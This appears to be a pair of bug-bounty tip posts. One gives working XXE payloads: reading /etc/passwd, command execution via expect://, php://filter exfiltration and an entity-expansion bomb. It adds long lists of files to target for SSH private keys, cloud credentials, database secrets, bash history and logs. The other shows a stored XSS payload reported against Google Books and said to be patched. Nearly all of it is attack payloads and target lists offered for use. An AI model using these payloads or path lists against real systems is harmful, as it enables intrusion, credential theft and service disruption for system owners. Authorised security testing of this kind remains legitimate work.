🔥XXE to Remote Code Execution (RCE) – Real-World Attack Chain⚡

Hey Hunters,
DarkShadow here—dropping a quick tip for your next XXE hunt!

Escalate XXE vulnerability 😏

1. Basic XXE Payload (Test Injection)

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<root>&test;</root>

If the response contains /etc/passwd, the app is XXE vulnerable.


2. RCE via expect:// PHP Wrapper (if enabled)

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "expect://id">
]>
<root>&xxe;</root>


Result: Executes id command and returns output.
Condition: expect must be compiled with PHP (very rare, but deadly).


3. Local File Read using php://filter

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<foo>&xxe;</foo>

Output: Base64-encoded content of /etc/passwd. Decode it locally. (Effective to bypass WAF filters and got any outputs correct format)


4. XML Bomb (DoS)

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
]>
<lolz>&lol2;</lolz>

Effect: Crashes or DoS the XML parser due to entity expansion.

5. Read User Private Keys (SSH)

Useful Paths to Check:
/home/*/.ssh/id_rsa
/root/.ssh/id_rsa
/etc/ssh/ssh_config
/var/backups/
/proc/self/environ (for creds or keys in memory)

🛑Pro tip for more recon:

1. Steal AWS / Cloud Credentials via XXE

Also check:
/home/www-data/.aws/credentials
/proc/self/environ (might expose AWS keys, tokens)

2. Dump Configs for DB Creds or Secrets

Also check:
config.php
.env
db.php
settings.php
wp-config.php (WordPress)
phpmyadmin/config.inc.php (phpmyadmin)
administrator/.env (joomla)
config/services.yaml (Symfony Framework)
app/config.js, app/config.json (nodejs)
settings.py, config.py (Python / Django / Flask)
application.properties, application.yml, web.xml (Java / Spring Boot / JSP Apps)
database.yml (Ruby on Rails)

3. Bash History Abuse

Also check:
.bash_history
Sometimes contains:
MySQL login
Admin tools
SSH commands
Clear-text passwords

4. Read Logs for Token Harvesting

Web Server Logs:

/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/httpd/access_log
/var/log/httpd/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/error_log

PHP / App-Specific Logs:

/var/log/php_errors.log
/var/log/php8.1-fpm.log
/var/log/php7.4-fpm.log
/var/log/php5-fpm.log
/var/log/php-fpm/www-error.log

Laravel / Symfony / Framework Logs:

storage/logs/laravel.log
/var/www/html/storage/logs/laravel.log
/var/www/html/app/storage/logs/laravel.log
var/log/dev.log (Symfony)
app/logs/dev.log
Authentication / Session Logs
/var/log/auth.log
/var/log/secure
/var/log/faillog
/var/log/wtmp
/var/log/btmp
/var/log/lastlog

System Logs (May Contain Leaks or Stack Traces):

/var/log/syslog
/var/log/messages
/var/log/dmesg
/var/log/kern.log

Database Logs (If Exposed):

/var/log/mysql/error.log
/var/log/postgresql/postgresql.log
/var/log/mariadb/mariadb.log

5. Custom Internal Recon via /proc Files

Also check:
/proc/self/cmdline
/proc/self/fd/

Sometimes exposes secrets in memory or open database connections.

#dork #bugbountytips

Hey Hunter's,
Dark Shadow here back again. Dropping a Google XSS POC-2😁

✅POC steps:

•Vuln host: books.google.com
•Xss type: stored based XSS
•Vuln param: book name title and publisher name parameter.
•Technique: direct inject the payload. Without any kind of encoding. (Reason: no input sanitization)
Payload: "><svg/onload=prompt(1)>

A simple payload can flip the game if you are use it in right place.😁
The vulnerability has been patched🥱

Let me know—aren’t you all interested to know that Google rewarded $31,337 for an SSRF vulnerability?
